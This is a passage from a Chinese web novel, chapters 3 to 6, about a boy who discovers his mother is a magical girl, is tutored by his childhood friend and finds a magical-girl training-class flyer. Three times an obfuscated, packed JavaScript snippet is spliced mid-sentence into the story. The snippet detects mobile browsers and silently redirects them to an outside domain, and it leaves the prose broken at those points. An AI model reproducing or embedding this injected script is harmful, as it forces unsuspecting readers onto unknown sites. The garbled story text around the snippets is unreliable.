《魔法少男罗曼史》 3. ANOMALY③ “其实,是因为一个秘密。但是很抱歉,我现在还不能跟你说。” 罗乐安一边说,一边有些不好意思地偷瞄温朗。 他俩的关系好到从小穿一条裤子,对彼此的喜好都一清二楚,可以说是相互之间都没什么秘密,所以他生怕对方会因为自己的隐瞒而不高兴。 不过他到底还是想太多了,毕竟温朗他和不一样,成熟,且没有随地大小演的习惯。 因此只是露出了一个善解人意的微笑,并没有追问。 这反倒是让罗乐安有些介意了。 “哎呀,你这个人就是有时候太懂事,怪没劲的,你难道就一点——点点点都不好奇吗?” 温朗对他时不时就小矫情作妖的情况见怪不怪,听到这话也没生气。 “怎么,我问了你就会告诉我吗?” “哎呀呀,虽然我的确是很想和你分享我的发现,但是有些事情真的太匪夷所思了,只有天赋极高的人才能理解,而像你这种缺乏浪漫情趣的无聊人士,就算我跟你说了,肯定还是不……诶?” 话说到一半,罗乐安突然顿住,同一时间,他头顶较短的那根“二毛”也像一根探测雷达似的,开始做起了圆周运动。 “这个反应……是大姐头!” 说罢,也不管温朗有没有反应过来,他拔腿就朝着二毛倾斜角度最大的方向跑去。 他嘴里说的“大姐头”,是湖灵高中的另一个传奇。 一只狸花猫。 狸花普遍好斗,然而湖灵高中的这只,战力和斗志都格外强悍。 罗乐安高一入学那天,趁着胡女士和温朗去办手续的间隙,自己在校园里闲逛,刚好碰到这只还不到三个月大的狸花幼猫和一只一岁多的橘猫在斗殴。 两只猫打得难解难分,而最后占了上风的,正是那只日后打遍天下无敌手(殴打对象不限于同类)、当时连胎毛都还没换的小狸花。 从那之后,他便成了这只小奶猫的粉头,并称呼这位湖灵一霸为“大姐头”。 作为湖灵高中的“校霸”,大姐头自然是高冷的,特别是成年后,尽管已经不会轻易对学校里的师生动手了,可也并没有变热情,就算是被投喂猫条,也不会因此而开放自己的脑壳和肚皮。 除了罗乐安。 在罗乐安面前,它的霸气全无,任谁看都只是一只可以翻开肚皮求摸摸的普通毛绒绒。 这样的差别待遇自然是让不少人羡慕嫉妒恨,奈何就算是咬碎了牙也没办法,毕竟不是所有人都拥有猫薄荷体质。 温朗跟在罗乐安身后,一路来到了教师办公楼的东边空地,在一棵树下,找到了端坐着的狸花猫。 以及一只从没见过的小刺猬。 “喵~” “叽叽叽。” “喵!” “啾啾。” “喵——” “嘤……” 两只小家伙一高一矮相向而立,声音一来一回,一高一低,也不知道是在聊些什么。 罗乐安听不懂,却并不妨碍他会脑补:“感觉好像老韩头在训人啊。” 老韩头全名韩涛,是湖灵高中的教导主任,平时最喜欢干的事情就是巡逻校园,然后随机抓取N个违规的学生进行训话。 全校学生大概除了温朗,都体验过他的“爱的教育”。 大概是觉得这个场景太有趣,罗乐安没忍住掏出手机想要记录下来。 没想到刚打开手机摄像头,狸花猫对小刺猬的“教导”就停了,前者透过摄像头看向罗乐安,略带凶气的竖瞳里流露出了像是无奈的宠溺神情。 至于那只“小弟”刺猬,早在大姐头的视线从自己身上转开时,就趁机窜到一旁的灌木丛里逃之夭夭了。 意识到自己被发现,偷拍者毫不尴尬地收起手机,笑嘻嘻地跑上前去,并熟练地从书包里掏出猫条,撕开递到猫咪面前。 “嘿嘿嘿,大姐头,我明天开始就要放假啦,要有半个月不能来看你,你别太想我,要记得好好吃饭,知道不?” 狸花猫暂停就餐,翻了个不太明显的白眼,在某人絮絮叨叨的声音里,快速解决了猫条,而后穿过绿化带,消失在两个人的视线中。 “唉……” 罗乐安站起身,有些伤感地歪着脖子叹气。 “你说到底是哪个天才想的呢?假期时长减半也就算了,还得放半个月就要补一周课,要是让我知道这个人是谁,我一定天天画圈诅咒他!” “行了,”温朗拉过他往自行车棚的方向走,“就算诅咒真的生效了,假期的时间也不会因此而变长,所以还是先抓紧时间享受暑假最重要。” “对哦!” 听到这话,罗乐安犹如醍醐灌顶,终于想起在被毛绒绒吸引前,自己还未完成的调(逼)查(问)计划,又一次撒腿就跑。 “回家回家!抓紧时间回家!” 而又一次被落下的温朗,无奈地叹了口气。 自己的这位竹马,最大的优点就是总是活力满满干劲十足,而最大的问题也恰恰源自于此,因为思维过于活跃跳脱,导致这人的专注力也总是很短暂。 不过…… 他扬起嘴角,露出一个开怀的笑容。 还真可爱啊~ 等到温朗赶到自行车棚的时候,罗乐安已经骑上了自己的“蓝色宝马”,皱着眉催促道:“阿朗!你快点,别磨磨蹭……阿嚏——” 抱怨的话还没说完,一朵花瓣纤长的淡紫色小花飘落到他的鼻尖,引得他打了个巨大的喷嚏。 “来了来了,可以走了。刚刚怎么打喷嚏了,着凉了?” “大夏天的,你就不能盼我点好吗?我是被花香熏着了——话说今年也太奇怪了,都快八月了,苦楝树怎么还在开花啊?我问过它们……咳,我是说我们班上其他同学也不清楚原因,那你知道吗?” “可能……是耐热性增强了?” “可能?还有大学霸不知道的事呢?” “我这是人脑不是电脑,当然不可能什么都懂了。不过前几天听生物组的老师说,可能是基因突变,已经取了样品送到省城检测了。” “诶?那会不会上电视啊?《走近科学》会来咱学校吗?我之前可爱看这个节目了~” “死心吧,那个节目已经停播了。” “臭阿朗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879671|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你真扫兴!” …… 顶着傍晚燥热的风,罗乐安和温朗骑了二十分钟自行车,在越来越无边际的闲聊中,顺利在晚饭前回到了家。 两家的房子是背对背的隔壁关系,因此两人在楼下道别后,就分别进了一左一右两个挨着的单元楼门。 “胡女士~” 刚进家门,罗乐安的思维自动切换回了“主线任务”,一边换鞋扔书包,一边呼唤着自己谜团重重的母亲大人。 “胡女士,逃避是没用的,我从现在开始就正式放假了,咱俩可以耗很久……胡女士?胡女士你在家吗?” 连着叫了好几声都没得到回应,他看了眼即将指向数字6的时针,觉得自己今晚大概又要去隔壁蹭饭了,便叹了口气,低头给温朗发了消息。 抬起头时,他的表情超——级臭。 倒不是因为自己即将“寄人篱下”的命运,毕竟从小到大这种事已经不知道发生过多少次了——甚至他要是超过一周不去蹭饭,温朗的父母都会觉得不习惯,还会专门派温朗来叫他。 真正让他气闷的是自己原本准备一鼓作气拿下胡女士的,结果现在直接连人都找不到,就像是蓄力一拳结果打在棉花上,着实是让人郁闷。 他心里堵着一口气,在客厅晃悠了好几圈,最后在胡之桃女士的卧室门口停下了脚步。 房门一如既往地紧闭着。 「乐乐,你已经是个男子汉了,所以从今天起,未经你的允许,妈妈绝对不会进你房间,相应的,你也不可以未经我允许随便进我的房间哦!我们来拉钩~」 在罗乐安刚上小学、整个人还懵懂无知的时候,他被自己亲妈哄着做下了这个“互不侵犯”的约定,尽管他不知道自己老妈到底有没有遵守,反正他这么多年一直是很乖。 不过今天他决定放肆一次。 因为他有预感,在那扇门背后,一定藏着自己此刻非常想要得到的答案。 “桃子妈妈,我进来咯~我有跟你打过招呼哦,只不过你没听到,不能怪我哦……” 到底还是有些心虚,因而他一边开门,一边嘴里不停念叨,似乎这样能给自己壮胆。 毕竟如果门后突然出现了胡女士的脸,怎么想都很可怕啊! 幸好,打开门后里面并没有人,床上是团成一团的被子,窗帘也没有完全拉开,昏暗的房间里只有书桌上的电脑屏幕亮着。 怎么说呢? 要不是其他地方还算干净整洁,并且不像自己房间里那样放满各种手办和吧唧,还真的蛮有阿宅的风格。 当然,这不是重点。 罗乐安在房间转了一圈,并没有找到什么有用的东西,最后把目光锁定在了那台开着的笔记本电脑上。 走近书桌,他一打眼就看到了屏幕上的内容,并不是屏保,而是一个色彩艳丽、看起来就很会弹弹窗的不良网页。 然而就算网页简陋到像是初中生制作的flash,上面过于醒目的几个大字还是会让人忽略其他所有的不和谐。 因为那几个字,本身就是最突兀的存在。 【魔法使监督管理局-派遣部-湖灵分部】。 4. ANOMALY④ 【魔法使监督管理局-派遣部-湖灵分部】。 一般人看到这行字,都会觉得很荒谬,只会认为这是某个人中二病发作后的成果,并不会当真。 但是罗乐安不是一般人。 他恰恰是一个中二病顶格的青春男高。 所以,他信了。 “派遣部?难道魔法使还有其他部门吗?” 一边嘴里念叨着,他一边操控鼠标试图点击网页上“派遣中”的菜单按钮。 只是点击过后页面并没有跳转,反倒是屏幕上突然投射出了一道白光,照在他的脸上,紧接着电脑里就传出一个AI女声。 “魔力源识别错误,确认入侵者,三秒钟后开始清除。” “清、清除?” 罗乐安后退了半步,“搞这么吓人要做什么?不过设计得还真是逼真啊……” 尽管他被这个声音吓了一跳,尽管他对这个派遣部的存在真假是报以肯定态度的,但对“清除”这种恐吓他还是并没有当真。 毕竟以他十几年极为丰富的二次元经验来说,正义的魔法使应该不会有这么凶残的行…… “喂!喂喂!” 乐观天真的想法在屏幕开始投射红光到自己身上的时候,终于改变了。 “不是吧,来真的?” 红光带来的效果不仅是刺目,还有一种越来越明显的灼烧感,更要命的是他感觉自己似乎被定住了,眼睛都眨不了,更别说逃离红光的范围了。。 好在还没有等到他体验到更为极致痛苦的感觉,救星就来了。 “罗!大!!胖!!!” 伴随着一个发着紫色光芒的漩涡出现,一个愤怒到极点的声音贯穿了罗乐安的耳朵。 这个称呼源自于他的童年黑历史。 小时候的罗乐安又黑又胖,和现在可爱的形象可以说是判若两人,当然,调皮程度也可以说是更上一层楼,因此每当他闯祸的时候,胡女士都会这么叫他。 直到他瘦下来,也不整天在外面疯跑,变得白净精致起来,这个称呼便也在他的强烈要求下被封存。 除了胡女士真的真的真的、特别特别特别生气的时候。 要是在之前,他最害怕胡女士这么叫自己,因为那意味着自己未来的一个星期都会过得很悲惨。 只是在此刻,在生死存亡的当下,这个声音宛如天籁。 “妈——救我啊!!!” 听到亲儿子的求救声,胡之桃生气归生气,但也知道事情轻重缓急,当即右手一挥,法杖的顶端的鸢尾水晶发出一道紫光射向电脑屏幕,危险的红光随即消失。 “呼……” 罗乐安被定住的身子一软,直接跪到了地板上。 “得救了,幸好老妈你及时出现,呜呜呜……我爱你!” 看到抱着自己大腿假模假样哭泣的亲儿砸,胡女士翻着白眼解除变身,华丽的蕾丝小礼裙瞬间变成了柔软舒适的居家服。 “你不要以为流几滴眼泪撒个娇,我就能放过你。来我房间要干什么,罗大胖?” 最后那三个字让罗乐安没忍住打了个冷颤,可是好奇心到底还是压制住了本能的恐惧,利索地收起了眼泪,在地板上盘腿而坐,开启“交涉模式”。 “妈,我就是想要弄清楚你那个‘魔法少女’到底是怎么回事,问你你又不说,那我只好自己调查了。” “那你都调查出来什么了?” 胡女士也拉过桌前的椅子坐下,一边问,一边打开桌上的半瓶可乐喝了一口,然后被几乎没气、又甜又温的味道齁得直皱眉。 不过罗乐安并没有注意到这个细节,全部心思都在解谜上,也因此错失了一个绝佳的献殷勤的好机会。 “其实我原本什么都没发现,直到看到你的电脑,尽管只有短短一行字,但是依旧可以得到很多信息。” 他得意地打了个响指,拇指和食指在下巴那里比了个“8”,摇头晃脑了好一会儿,才继续说道。 “像是那个‘魔法使监督管理局’,还有下属的‘派遣部’,都说明你们是一个分工严谨的大型组织,那一定也有统筹部、宣传部、公关部什么的。还有这个‘湖灵分部’,是不是代表其他城市也有魔法使?可是真的有那么多魔法使吗?如果真的有很多的话,为什么从没有人见过呢?而且魔法使不都是要和邪恶作战的吗?但是从来没有听到这方面的新闻诶,所以到底是怎么一回事嘛~” “唉……” 胡女士叹了口气。 她原本的确是想要搪塞过去。 尽管身份是暴露了,可她也不打算再透露其他信息,只想着过段时间罗乐安就能把注意力从这件事上移开。 谁料她低估了自己儿子的执着程度,不,是中二程度,不仅对魔法少女的事情深信不疑,甚至还想掺和进去。 早知道,她就不在这孩子小时候拉着他跟自己一起看那么多魔法少女的动漫了。 然而事已至此,她能做的也只是及时止损。 与其让这个傻孩子自己瞎搞、一不小心就可能触及到危险,还不如由她自己主动告知一些边缘的信息,提前划上安全界限。 “魔法使监督管理局是统筹协调魔法使的官方组织,派遣部则是负责调遣魔法使执行任务。而我们的任务地点并不在湖灵市,也不在华国——或者说,并不在这里,而是要去异时空执行,所以你没听过魔法少女相关的事情也很正常,毕竟这里很安全。” “安全?” 罗乐安瞪圆眼睛,满脸写着“你在开玩笑”。 “我昨天可是差点被一盆百里香干掉诶!” “你说昨天啊……那个是意外。因为我刚执行任务回来,身上会沾染异时空的能量,有时候会让周围出现异变,不过概率很低,我也能很轻松解决掉。好了,我能说的就这么多,其他的事情你就不要多问了,问我也不能告诉你,毕竟你是无关……” “我怎么会是无关人员呢~”罗乐安先一步打断了自己母亲的话,“我可是你最最最疼爱的宝贝儿砸,关心一下自己最最最敬爱的母亲大人,的事业,难道也有错吗?” 说到这里他停顿了一下,继而强调道:“只是好奇你的部分而已哦~” “……那你还想知道什么?问吧。” 胡女士松开后脑勺的抓夹,重新挽了一下头发,没再坚持原则,但也肉眼可见的态度敷衍,明显是想要快点把这个即将从自己“疼爱名单”上划掉的儿子打发走。 “你是怎么成为魔法少女的呀?又是怎么进入官方部门的?是还有个擢选部吗?抽签抽到你的吗?那你工作多久了呀?呐呐~快说呀~” 面对罗乐安情绪饱满的催促,胡女士则表现得像个人机。 “在我十五岁的时候和魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879672|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法使精灵签订了契约,成为魔法少女——不用到处找,你看不到的。反正一开始只是做一些普通的助人为乐的小事,在我成年后就收到了管理局的邀请,笔试面试都通过就入职了,就这样。” 她尽可能地以一种极为无聊的语气和表达来回答罗乐安的问题,想要以此打消对方的好奇心,奈何后者的热情根本没有被打消,反而被话里的内容激发得更为蓬勃了。 “十五岁?!竟然那么早吗?那你这么多年是怎么瞒过我老爸的啊?毕竟你俩住一个房间,不可能像瞒我一样那么容易吧。” “不用瞒啊,我跟你爸是同事……额,是——实际上这事儿不劳你操心!” 意识到自己说秃噜嘴的胡女士连忙生硬找补,可惜为时已晚,捕捉到关键信息的罗乐安早就两眼放光地蹦了起来,扑到了他母亲的面前。 “同事?所以我老爸也是魔法使咯?那么他的失踪……难道是出任务的时候发生了什么吗?因此就迷失在了异世界?” “……” 胡之桃女士很想扶额,她不理解为什么这小子考试成绩不怎么样,推理这些倒是很擅长,竟然都猜对了。 “行了,别乱猜了,总之你现在还是要把重点放在……” “重点就是,我真的是个非常纯粹的魔二代啊!全身的血液里是不是都充满了魔法能量?天啊!那我肯定也可以成为魔法使了,真的是太令人激动了!所以我什么时候可以变身?我的契约精灵什么时候会出现?我都迫不及待了~要知道我从小就梦想着成为拯救世界的超级英雄啊!” “那你可不用着急了。” 听到罗乐安的心愿,胡女士准备狠狠打击,从源头遏制住对方大胆的想法。 “十六岁之前没遇到魔法使精灵,那就彻底没戏了,你就安心当个普通人吧。” “胡女士,大热天的你怎么可以如此冷漠!” 罗乐安满脸心痛地控诉,并且不屈不挠,还在寻找突破口,“就算我超龄了,但应该还有其他方式吧——你看你当初受邀进那个管理局也要笔试面试什么的,那是不是也可以走个后门,帮我安排一下进个后勤部门什么的……或者让我直接参加魔法使考公,我一定会努力学习,成为老妈你引以为傲的同事——哎哟!好痛哦!妈你干嘛打我!” “当然是打醒你!” 胡女士吹了吹自己刚刚发射脑瓜崩的大拇指和中指,冷酷打断了自己儿子的妄想。 “还考公,最近忙没时间管你学习,结果你期末考试又从班级二十掉到三十——就这样你还妄想考公?还想跟你老爸一样变身穿裙子?我告诉你,做梦!你还是给我乖乖去考个985,这才是你现阶段最重要的事!!!” 额头红肿的罗乐安在自己亲妈的怒吼中不禁眯眼后退了两步。 这一次,他没有着急反驳,倒不是妥协了,只是单纯觉得胡女士可能疯了。 他什么时候提裙子的事儿了? 不对,他老爸变身后穿裙子? 不不不不对,重点不是这个,重点是—— “妈,你别开玩笑了,我这成绩一本线都费劲,怎么可能……” 就在他试图唤醒自己母亲不切实际的梦想,不,是妄想的时候,突然一个声音从给隔壁自己的卧室里面传了过来。 “胡阿姨,你放心吧,乐乐的成绩交给我,努努力也不是没可能。” 5. ANOMALY⑤ 夸下海口的,正是住在隔壁的超级大学霸,温朗。 而传出声音的地点,也的确是罗乐安的房间。 这并不是什么“大变活人”的把戏,纯粹只是因为两家背对背的房子,副卧的南阳台是相通的。 某只皮猴子小的时候回回都翻栏杆去串门,屡教不改,大了倒是正门走得更多,主要是翻阳台过去就是温朗的卧室,同时也是罗乐安接受补习的固定场所。 实在是,触景伤情。 两边的大人一直以为这条近路是“单行道”,只有罗乐安才会走,好孩子模范的温朗根本不会出现这种危险行为,殊不知后者偶尔也会想要不走寻常路,只不过都是在大人不在的时候,偷个懒过来找人。 今天也是一样,因为罗乐安提前发了蹭饭信息,所以他想当然以为隔壁胡阿姨不在,不想楼上楼下又折腾一身汗,便径直翻了栏杆。 没想到刚落地就听到胡阿姨在发雷霆之怒,以至于他第一反应就是给自己竹马解围。 好在他冲过去的时候,发现对方似乎并没有追究自己翻栏杆的想法,反倒是眼神慌乱,嘴角紧绷,不知道在紧张些什么。 更奇怪的是,罗乐安似乎也是同款紧张,头顶两根呆毛像两根天线似的立得笔直。 “你、你你你……你怎么来来来了?” “我过来叫你吃饭,没想到胡阿姨也在——阿姨晚上好。” “hoooooo……” 胡女士的下巴有些控制不住地颤抖,幸好在温朗察觉到异样前,罗乐安先一步恢复了镇定。 他决定先诈一下看看。 “你都听到了?” “嗯。” 温朗点头,而这个动作,让对面的母子二人灵魂齐齐升天。 “阿姨,我知道乐乐期末考试成绩退步您很焦虑,但还是请稳定情绪,生气发火容易长皱纹。” “啊哟~那可不行!” 听到这话,胡之桃先一步回神,双手捧脸,一脸惊慌,并开始自言自语,试图欺骗自己的皮肤。 “我刚刚没有生气,没有生气哦,我只是……想给乐乐树立一个目标。” “……” “……” 在场的两个高中生双双无语,但好在也都习惯了胡女士的这番做派,都提不起吐槽的兴趣。 “对了,胡阿姨,说起目标,我觉得步子一开始不能迈太大,脚踏实地更为稳妥。如果从暑假开始乐乐都认真补习,开学后也不懈怠,那他的成绩应该能提高过一本线,使劲儿努把力拼个211也不是不可能,至于985,可以考虑填报志愿的时候看看有没有什么冷门专业,说不定能捡漏……” “哦?真的吗?” 胡女士闻言,顿时也顾不上关心自己的皮肤问题,专心和温朗讨论了起来。 “罗乐安这孩子傻乎乎的,你确定他能考上一本吗?” “我看了他的试卷,也借了文科班第一名的笔记看了一下,发现背诵部分乐乐没什么问题,主要是他太喜欢发散思维,经常写跑题,控制好不羁的灵魂的话,文科成绩大概还能提高小一百分。” “真的吗?!” “嗯,最大的问题是他的数学,不过没关系,我可以给他补习……” 眼瞅着话题越跑越偏,并且离自己越来越近,罗乐安刚放松下来的呆毛又隐隐有了炸开的迹象。 他缩着肩膀,努力降低存在感,一点一点往门外挪去。 可惜,自己母亲和竹马达成一致的过程太过迅速,生生夺走了他逃跑的机会。 “那就说好了。罗乐安,从明天起,不,等会儿吃完晚饭,你就去小朗房间,让他给你补习数学!” 就这样,罗乐安的美好暑假,刚开局便已变成了地狱模式。 * “我以为你只是随口说说,糊弄我老妈的,没想到,你竟然来真的……” 今天是暑假开始后的第三天,也是罗乐安身陷地狱的第三天。 在这三天里,他白天要应付竹马孜孜不倦的教诲,晚上还要在胡女士睡着后寻找各种可以成为魔法使的方法。 可惜的是,他翻出了家里所有的书和饰品,都没有找到神秘卡牌或者宝石,学着网上那些奇形怪状的方法——比如沐浴月光——也依旧未果。 再没有进展,他就要考虑晚上溜出门寻找机缘了。 可这是下下策,尽管小小の冒险令他心动,但大晚上的,他更想踏踏实实地躺在床上。 然而无论罗乐安在脑袋里如何罗列PlanABC,也依旧逃避不了白天必须要面对的更为实际的困境。 此刻他正趴在书桌前,痛苦地看着身下的不断涌现的x、y、z和各种形状的函数曲线,浑身上下缠绕着绝望的气息。 “你什么时候见我‘随口’说说过?” 温朗坐在另一侧,一边说,一边翻阅着罗乐安刚做完的文综试卷。 “ber!” 听到这话,罗乐安猛地抬头,下巴像是钉子一般,90°垂直于桌面。 “你还真觉得我能考上985啊!你清醒一点!!!” “我很清醒,”温朗一手将试卷翻面,一手揉着眉心,“985那段儿的确是安抚胡阿姨的成分更多一些,但是只要你的精力都专注在学习上……” “就有可能创造奇迹吗?” 罗乐安整个人一下子精神了,眼睛闪出星星光柱,“看来我的确是个还没被人发现的天才~” 即便他是一个自我认知清晰且早就认命的学酥,可如果真的能考上好大学,他还是很高兴的。 然而温朗下一秒就毫不留情地打破了他的美梦。 “如果你答题的时候能不走神,那奇迹发生的可能性还是比较大的。” “啊?我没走神啊!我哪里有走神,你不要乱说~” “比如这题,问的是17年之后我国的主要矛盾是什么,你还记得你写了什么吗?” “emmm……人民日益增长的、增长的……” “你写的是‘做梦想当魔法使的娃和做梦想让娃考985的妈之间的不可调和的矛盾’。” “……” 罗乐安的两根呆毛瞬间炸起,脸也染得通红。 一是羞的,二是紧张。 “啊啊啊啊啊——” 他扑上去将自己的试卷夺了回来,“我我我乱写的!我我我知道错了!我我我之后一定认真!你你你快点把这段忘掉!!!” 看到他窘态倍出,温朗没再揶揄,左手撑着下巴,主动给人找台阶下。 “所以你……昨晚上又做了什么奇奇怪怪的梦了?” 尽管罗乐安觉得这话中间的停顿怪怪的,但他现在哪里还有心思想这些,只觉得胡女士的马甲被成功保住,心里满是庆幸。 “咳,老穗昨晚给我看了她的新脑洞,可能讨论得太投入了,呵,呵呵……” 他心怀愧意却还是毫不犹豫地拉任穗出来挡枪,好在对方看起来是信了他的说辞,没有追究的意思,让他头顶的两根天线终于恢复了柔软。 然而温朗只是放下了他的政治,却没放下他的数学。 “那接下来——数学卷子你做多少了?” 神啊! 你别再作孽了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886721|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗乐安以头抢桌,内心悲愤欲绝。 看来兄弟情谊到底还是输了,学习终究是成为了自己与温朗之间的“第三者”。 神大概也不满自己被无端抹黑,于是在某个人即将崩溃之际,终于派来了自己的使者—— “大乐!快快快,好消息,天大的好消息!!!” 伴随着一道清脆稚气的声音响起,一个小小的身影冲进了房间。 “小葵——” 罗乐安泪眼汪汪地和来人拥抱,“你真是天使!” 来人是温朗的妹妹,温霁,小名叫小葵,比他俩小十岁,开学上二年级。 尽管年龄差有点大,可架不住罗乐安心理年龄过分年轻,加上两个人的性格和兴趣非常一致,因此顺利和温霁成为了“忘年之交”。 也正是如此,两个人的相处模式是相当的没大没小。 “咦……” 温霁发出嫌弃的声音,“大乐,你怎么突然这么肉麻,怪恶心的。” “……” 算了算了,罗乐安看着怀里梳着两个丸子头的小豆丁,努力在心中去劝慰自己。 不管怎么说都是自己的救命恩人,君子报仇,明天再说。 “说过多少次了,温小葵,进门前要先敲门。” 温朗一边收拾桌上的卷子,一边打断还抱着的那俩人的温情时刻。 “哎呀~这不是有急事儿嘛,大哥你别啰嗦啦——大乐大乐,酱酱家出活动了,薄荷奶绿第二杯半价~” “真的?那我赶紧下单!正常冰,一杯五分糖一杯全糖……” “咚咚。” 敲击桌面的两下轻响,让沉浸在拼单喜悦里的罗乐安动作一顿,缓慢抬起头,小鹿眼里满是祈求。 唉。 温朗心里轻轻叹了口气。 面对这样的乐乐,自己根本就没办法拒绝嘛。 “那先休息半个小时,喝完奶茶要把那张卷子写完哦。” “万岁~温朗你最好啦!啾咪~” 话音刚落,罗乐安头顶的大毛和二毛就应景地比了个爱心。 听着他甜腻腻的声音,一旁的温霁没忍住打了个哆嗦。 真不愧是撒娇之神,此等功力,她实在是望尘莫及。 接下来的二十分钟,罗乐安过得极为肆意。 他一边等待奶茶送达,一边瘫在温朗家的客厅沙发上,和温霁在胡闹厨房里相爱相杀。 由于两个人互不相让,完全没有协作意识,导致同一关三战三败,幸好在他俩即将爆发的时候,外卖到了,提前终止了一场无意义的打闹。 “大乐,快去拿外卖啦!” “干嘛我去啊!” “孔融让梨知不知道?你要爱护幼小,快去吧孔乐安,再磨蹭奶茶都不冰了~” “……” 心里骂骂咧咧,但罗乐安到底还是不能跟一个小学生计较太多,便不情愿地起身朝门口走去。 大概是之前耽误了点时间,外卖员等不及,便把奶茶放到门口地上就离开了,这让他有点嫌弃,噘着嘴拎起袋子,却发现包装袋底部不小心粘了一张传单。 看着传单上的内容,他情不自禁地张大了嘴巴。 “大乐!你好慢哦!是奶茶洒了吗?” “没……” 听到温霁的催促声,罗乐安应了一声连忙往回走,同时动作有些慌乱地将传单藏到身后。 虽然他的手遮挡住了传单的大部分内容,然而纸上那个醒目的标题,却依旧还是从指尖的缝隙透了出来。 【星光摇篮魔法少女培训班,承托每一个星辰守护宇宙的梦想。】 6. ANOMALY⑥ 因为那张古怪的广告单,罗乐安整个下午都表现得心不在焉,并且在温朗愈加复杂、最后更是欲言又止的表情中,跑了五六次厕所,将纸上的内容反复看了数十遍,却依旧平复不了他激动的呆毛。 因为一张纸就这样的确有点点点点丢人,可是他在最迷茫的时候收到这个,这不刚好说明自己就是天选之人嘛! 情绪有大波动也是在所难免的。 不过…… 这广告单上写的,是真的吗? 他聚精会神地盯着卷子上的sin和cos,思绪却早就飞到外面,自己跟自己在辩论场上“开杠”了。 理智:都是假的,也就骗骗无知少男少女,千万不能上当。 欲望:但是世界之大,无奇不有啊!那天不是都见识到了真正的魔法少女了吗? 理智:可没有哪本漫画里是用发传单的方式来招生的啊。 欲望:那漫画里也没说魔法少女还有管理局啊! 最后,大概是那晚胡女士的英姿太过深入人心,慢慢地,欲望压倒了理智。 这个培训班,他报定了! 罗乐安一边暗下决心,一边在心里给自己即将“殒命”的电子扑满道歉。 而为了不让自己的选择显得那——么愚蠢,他还找到了一个非常有力的理由作为安慰。 “已知:魔法使可以考公,所以:有考公培训班是正常的,逻辑成立。” 他对着卷子上的立体几何大题念念有词,坐他对面的温朗有些狐疑地从自学教材里抬起头。 后者总觉得自己刚刚在前者拆解题目的“套路公式”里,听到了一些奇形怪状的内容。 “乐乐,”他合上手边的书,微微蹙眉,有些担心,“你是不是哪里不舒服?吃坏肚子了吗?” 听到这话,魂游天外的人猛地回神。 真是瞌睡有人递枕头,罗乐安都想给温朗送面“善解人意”的锦旗了。 “嗯,我的肚子是……” 刚想顺坡下驴,以此结束痛苦的补习,可话说到一半,他突然意识到了一个问题。 拉肚子这个事儿,除了能把自己圈在床上,对于给自己创造机会外出,似乎起不到任何作用。 不行不行不行。 换一个换一个。 “实际上没有任何问题,就是感觉浑身疲惫,缺乏精力,干什么都提不起兴趣。我是不是要不行了,阿朗……” 他趴在桌上,声情并茂地演绎自己的痛苦,丝毫看不出转折的痕迹。 可惜,在场的唯一一位观众早就对他的演技免疫了,听完他的话后,还能镇定地提炼总结。 “放心,不是什么大病,就是‘补习综合征’而已。” “……” 见自己被戳穿,罗乐安悻悻地坐直身子,结束了自己的表演。 “真是的,这种时候就不要这么善解人意了好不好!而且我现在真的,看见试卷就想吐……” “可是今天才是补习的第三天而已。” “我不管我不管!反正我已经学不进去了!我想要晒太阳!我想要呼吸外面的空气!!我想要自由!!!” 一边喊,他一边将面前做了将近三个小时的数学卷子扔向空中。 大有一副“不管你说什么我都要撂挑子”的架势。 见他已经开始进入撒泼耍赖环节,温朗也知道再劝无益,便松了口。 “那明天,就去拥抱自由吧。” 听到这话,罗乐安的眼睛瞬间亮了。 而在第二天一早,在踏出家门看到背着书包的温朗后,他亮了几乎一晚上的眼睛,瞬间又失去了所有光彩。 “你说的‘自由’,和我理解的好像太、不、一、样!” 坐在图书馆里,他看着摊在面前的习题册,生无可恋。 而且因为在公众场合,他还不能大声抱怨,这让他更加郁闷了。 “不一样吗?” 对面的温朗抬起头,嘴角含笑。 “外面的阳光。”他举起左手指了指窗外的蓝天白云。 “外面的空气。”他轻轻扇动习题册散开油墨的芬芳。 “你要的自由。”他侧身露出一眼望不到边的自习室。 罗乐安气得磨牙。 所以说,永远不要轻信一个学霸。 脑袋好使的,心一般都黑。 由于温朗的曲解,罗乐安探访“星光摇篮”的计划被迫暂且搁置,只能另寻机会。 希望机会来临的时候,那家培训班还没有下班。 大概是老天也被他坚定的诚意打动,没用等到傍晚,仅仅在一个小时后,机会就到了。 “你不是已经退出篮球队了吗?怎么还要帮他们打比赛啊?” 他努力压着上扬的嘴角,一边“关心”地问,一边动作非常麻利地帮温朗收拾书包。 